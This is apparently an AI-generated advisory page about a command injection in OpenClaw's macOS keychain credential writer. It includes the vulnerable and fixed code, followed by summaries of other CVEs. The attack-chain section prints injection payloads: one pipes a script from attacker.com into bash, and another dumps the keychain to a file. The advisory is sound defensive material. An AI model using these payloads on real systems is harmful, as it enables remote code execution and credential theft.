CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-4564-PVR2-QQ4H

OpenClaw Keychain Injection: When Secure Storage Becomes a Shell

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 18, 2026·5 min read·41 visits

Executive Summary (TL;DR)

OpenClaw's macOS keychain integration used `execSync` to store credentials, allowing malicious OAuth tokens to trigger Command Injection. Attackers can gain RCE by injecting shell metacharacters into the token response. Fixed in v2026.2.14.

A critical OS Command Injection vulnerability in the OpenClaw AI assistant allows remote code execution via malicious OAuth tokens. By failing to sanitize inputs before passing them to the macOS 'security' utility, the application permits attackers to execute arbitrary shell commands with the privileges of the host user. This transforms the keychain credential management feature—designed for security—into a high-impact entry point for compromise.

The Hook: The Agent With Too Many Hands

We live in the age of "Agentic AI." We don't just want chatbots that talk; we want agents that do. We want them to manage our calendars, commit our code, and handle our authentication keys. OpenClaw is one such ambitious project, designed to act as a personal AI assistant that integrates deeply with developer tools.

Specifically, OpenClaw features a module to manage authentication for the Claude CLI. To make life seamless for the user, it automatically refreshes OAuth tokens and saves them directly into the macOS Keychain using the native /usr/bin/security utility. It's a convenient feature that saves you from copy-pasting API keys every hour.

But here is the irony: in an effort to securely store secrets, OpenClaw created a massive hole. By trusting the data coming back from an OAuth provider, the application inadvertently handed the keys to the kingdom (quite literally, the Keychain) to anyone who could manipulate that data stream. It’s the classic story of convenience functionality bypassing security fundamentals.

The Flaw: Interpolation Is The Root Of All Evil

If I had a nickel for every time a developer used string interpolation to build a system command, I’d have enough money to buy a zero-day broker. The vulnerability lies in src/agents/cli-credentials.ts within the writeClaudeCliKeychainCredentials function.

The logic was simple: take the new credentials (an object containing access and refresh tokens), serialize them to JSON, and update the keychain entry. The developer reached for Node.js's child_process.execSync. This function is the programmatic equivalent of typing a command into your terminal.

Here is where the "developer brain" failed. They assumed that because they were wrapping the JSON string in single quotes, it was safe. They even added a regex replace to handle single quotes inside the data. But they forgot that execSync spawns a shell (/bin/sh or /bin/zsh). Shells are hungry interpreters. They don't just look at quotes; they look for command substitutions ($()), backticks (`), and logic operators (&&, ||).

When the application constructed the command string, it embedded the user-controlled (or provider-controlled) token directly into the execute buffer. If that token contained shell metacharacters, the shell would eagerly execute them before passing the result to the security tool.

The Code: Anatomy of a Shell Injection

Let's look at the vulnerable code pattern. It's a textbook example of why you should never concatenate strings to run executables.

The Vulnerable Pattern (Simplified):

// DANGER: Do not do this at home
const newValue = JSON.stringify(credentials);
// The code attempts to escape single quotes, but nothing else
const escapedValue = newValue.replace(/'/g, "'\"'\"'");
 
// The command is passed as a single string to a shell
execSync(
  `security add-generic-password -U -s "${SERVICE}" -a "${ACCOUNT}" -w '${escapedValue}'`,
  { encoding: "utf8" }
);

If newValue contains $(touch /tmp/pwned), the shell sees a command substitution request. It executes touch /tmp/pwned first, takes the output (which is empty), and then runs the security command with an empty password. The attack has already happened.

The Fix (Commit 9dce3d8):

The patch is elegant and correct. It switches from execSync (shell execution) to execFileSync (process execution).

// SAFE: Arguments are passed as an array
execFileSync("security", [
  "add-generic-password",
  "-U",
  "-s", CLAUDE_CLI_KEYCHAIN_SERVICE,
  "-a", CLAUDE_CLI_KEYCHAIN_ACCOUNT,
  "-w", newValue, // Passed as a raw string argument. No shell involved.
], { encoding: "utf8" });

By passing the arguments as an array, Node.js invokes the security binary directly via the execvp syscall family. There is no shell to interpret special characters. $(...) is treated literally as the characters $ ( . . .. Chaos averted.

The Exploit: From OAuth to RCE

How does an attacker weaponize this? The input vector is the OAuth token response. This usually comes from a trusted provider (like Anthropic), but what if the user connects to a malicious proxy? What if a Man-in-the-Middle attack modifies the traffic? Or what if a rogue employee at a provider modifies the database?

The Attack Chain:

  1. Setup: The attacker sets up a rogue OAuth provider or intercepts the callback URL.
  2. Payload Construction: The attacker constructs a JSON response where the access_token includes a shell payload.
    • Payload: x'$(curl -s http://attacker.com/shell.sh | bash)'y
  3. Trigger: The victim asks OpenClaw to "Refresh my Claude credentials."
  4. Execution: OpenClaw receives the payload, wraps it in quotes, and sends it to execSync.
  5. Detonation: The local shell sees the inner $() and executes the curl command. The victim's machine pulls down a script and executes it.

This is a particularly nasty vector because it's "blind." The user just sees their agent working, while in the background, a reverse shell has been popped.

The Impact: Why Should We Panic?

This isn't just a crash. This is full Remote Code Execution (RCE) with the privileges of the logged-in user. On macOS, this is devastating.

  1. Keychain Access: The command is already interacting with the Keychain. An attacker could modify the payload to $(security dump-keychain > /tmp/all_passwords.txt). They could steal every password stored on your Mac—Wi-Fi passwords, browser logins, SSH keys, code signing certificates.
  2. Persistence: The attacker can easily establish persistence by writing a LaunchAgent or modifying .zshrc.
  3. Lateral Movement: If the developer uses this machine for work (which they almost certainly do), the attacker now has access to corporate VPNs, source code repositories, and production environments.

This is a "game over" bug for the affected machine.

Official Patches

OpenClawPull Request #15924: Fix keychain command injection

Fix Analysis (1)

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Affected Systems

macOS (all versions)OpenClaw < 2026.2.14

Affected Versions Detail

Product
Affected Versions
Fixed Version
openclaw
openclaw
< 2026.2.142026.2.14
AttributeDetail
CWE IDCWE-78
Attack VectorNetwork (via OAuth response)
CVSS8.8 (High)
ImpactRemote Code Execution (RCE)
Exploit StatusPoC Available
PlatformmacOS

MITRE ATT&CK Mapping

T1059.004Command and Scripting Interpreter: Unix Shell
Execution
T1555.001Credentials from Password Stores: Keychain
Credential Access
CWE-78
OS Command Injection

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Known Exploits & Detection

Internal Test SuitePayload: x'$(curl attacker.com)'y demonstrates command substitution injection.
NucleiDetection Template Available

Vulnerability Timeline

Vulnerability Discovered
2026-02-14
Patch Commit (9dce3d8) Merged
2026-02-14
Release v2026.2.14 Published
2026-02-14

References & Sources

  • [1]GHSA Advisory
  • [2]CWE-78: OS Command Injection

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-113872
7.5

CVE-2026-113872: Unauthenticated Process Crash in Express Multer via Late Busboy Stream Resumption

CVE-2026-113872 (GHSA-q7qp-rjg7-q26m) is a high-severity denial-of-service vulnerability affecting the multer multipart/form-data upload middleware for Node.js and Express in versions 2.0.0 through 2.4.0. When an endpoint is configured to accept multiple files using an asynchronous fileFilter callback, a crafted, truncated multipart HTTP request can trigger an unhandled error event on the underlying busboy stream parser after request teardown has already completed. Because all error listeners are stripped during teardown, Node.js treats the resulting error event as an uncaught exception and immediately terminates the server process.

Amit Schendel
Amit Schendel
2 views•12 min read
•about 2 hours ago•CVE-2026-115897
2.1

CVE-2026-115897: Cross-Site Scripting via Function Body Boundary Bypass in serialize-javascript

CVE-2026-115897 (also tracked as GHSA-m5mm-p8h7-m29v and aliased as CVE-2026-115754) is a Cross-Site Scripting (XSS) vulnerability in the Yahoo serialize-javascript npm package prior to version 7.1.3. The flaw exists in the regular expression used by escapeFunctionBody() to neutralize HTML script closing tags within serialized JavaScript functions. Because function bodies are sanitized in isolation before structural formatting is applied, a function whose string representation terminates directly with the sequence '</script' bypasses the positive lookahead check. When combined with serialization formatting options that introduce whitespace delimiters and a subsequent property that supplies a closing bracket, an attacker can prematurely terminate an enclosing HTML <script> block and inject arbitrary HTML or JavaScript into the rendered document.

Amit Schendel
Amit Schendel
2 views•13 min read
•about 3 hours ago•CVE-2026-109841
5.9

CVE-2026-109841: Subresource Integrity Verification Bypass in Node.js Undici

CVE-2026-109841 is a Subresource Integrity (SRI) verification bypass vulnerability in undici, the official HTTP/1.1 and HTTP/2 client library for Node.js that powers the global fetch() implementation. The flaw stems from improper handling of case sensitivity (CWE-178) when validating cryptographic hash algorithm tokens within SRI metadata. Because undici compared incoming algorithm identifiers against a strictly lowercase set without prior ASCII-lowercase normalization, valid uppercase or mixed-case tokens such as SHA256- or Sha384- were treated as unrecognized algorithms and discarded. Under SRI forward-compatibility rules, discarding all provided tokens results in an empty integrity list, causing undici to fail open and accept tampered HTTP response bodies without cryptographic verification.

Alon Barad
Alon Barad
1 views•9 min read
•about 4 hours ago•CVE-2026-109924
5.9

CVE-2026-109924: Unbounded Memory Allocation in Node.js Undici EventSource Stream Parser

A resource allocation vulnerability (CWE-770) exists in the Server-Sent Events (SSE) parser within the Node.js undici HTTP client library. In affected versions, the EventSourceStream implementation fails to restrict the count of internal Buffer chunk references and accumulated string nodes prior to event dispatch boundaries. A malicious or compromised SSE endpoint can exploit this behavior by streaming fragmented, unterminated lines or continuous sequences of short data fields without empty separator lines, bypassing configured byte-size limits and causing a fatal Out-of-Memory (OOM) crash in the client Node.js process.

Amit Schendel
Amit Schendel
4 views•11 min read
•about 4 hours ago•CVE-2026-109869
7.5

CVE-2026-109869: Denial of Service via Orphaned Stream in Node.js Undici Fetch Implementation

CVE-2026-109869 is a high-severity denial-of-service vulnerability in undici, the default HTTP/1.1 client and Fetch implementation for Node.js. When a server responds with more than five Content-Encoding directives and prematurely closes the connection before transmitting the body, undici allocates an internal Readable stream before enforcing the content-encoding limit. Upon rejecting the fetch promise, the stream is orphaned without an error listener or abort signal, causing the premature socket closure to emit an unhandled stream error that terminates the Node.js process.

Alon Barad
Alon Barad
6 views•10 min read
•about 4 hours ago•CVE-2026-114612
9.9

CVE-2026-114612: Privilege Escalation to Proxy Admin via Cryptographic Context Reuse in LiteLLM

LiteLLM versions 1.87.0 through 1.104.0-rc.1 contain a cryptographic domain separation vulnerability (CWE-269, CWE-345, CWE-441) that allows an authenticated low-privilege user to escalate privileges to full proxy administrator. The application reuses a single symmetric cryptographic context and key derivation path for both at-rest secret encryption and ephemeral UI/CLI session authentication tokens without providing Associated Authenticated Data (AAD). By submitting crafted JSON session claims into user-accessible encrypted metadata fields, an attacker can use the API-key generation flow as an encryption oracle, extract the resulting ciphertext, and replay it as a bearer token to achieve administrative control and subsequent remote command execution via the Model Context Protocol (MCP) stdio interface.

Alon Barad
Alon Barad
8 views•9 min read